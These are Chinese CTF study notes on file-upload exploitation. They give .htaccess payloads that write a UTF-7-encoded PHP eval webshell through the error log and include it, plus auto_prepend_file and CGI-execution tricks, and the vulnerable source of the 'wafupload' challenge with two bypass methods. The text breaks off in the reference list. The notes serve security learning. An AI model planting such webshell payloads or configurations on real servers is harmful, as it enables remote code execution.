1. 文件上传基础
1.1 .htaccess
参考资料:
1、Apache中.htaccess文件利用的总结与新思路拓展 https://www.cnblogs.com/anbuxuan/p/11867129.html
用法1:利用error log
写本地文件 (html编码)
php_value include_path "+ADw?php +AEA-eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4-"
php_value error_reporting 32367
php_value error_log /tmp/fl3g.php
#\
用法2:利用UTF-7编码绕过日志html编码,对error log进行文件包含
utf-7:https://www.urlencoder.org/
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
用法3: auto_append_file 或者 auto_prepend_file
通过配置auto_append_file或auto_prepend_file可以向所有php文件中的开头或尾部插入指定的文件的内容。
绝对路径:
php_value auto_prepend_file "/home/fdipzone/header.php"
相对路径:
php_value auto_append_file "/htaccess"
.htaccess和cgi
Options +ExecCGI
SetHandler cgi-script
https://www.gem-love.com/ctf/2302.html#Check_In
3. 真题
3.1 wafupload (2018网鼎杯)
题目链接:http://106.39.10.134:13002/
参考资料:
1、“网鼎杯”第二场Write up
https://www.smi1e.top/%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%BA%8C%E5%9C%BAwrite-up/
参考资料已经介绍的很详细了,本地可以搭起来去调试下。
解法1:利用了move_uploaded_file的一个trick,move忽略/.
解法2:令$file[count($file) - 1]
为php
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
#$file在这里被定义了,注意输入框的内容便是$_POST['filename']的内容,其是可以以数组的形式传参的。
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="filename"><br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
3.2 [GXYCTF2019]BabysqliV3.0
参考资料:
1、简析GXY_CTF “BabySqli v3.0”之Phar反序列化 https://www.gem-love.com/ctf/490.html#LFI%E8%AF%BB%E6%BA%90%E7%A0%81
3.3 2019强网杯upload
参考资料: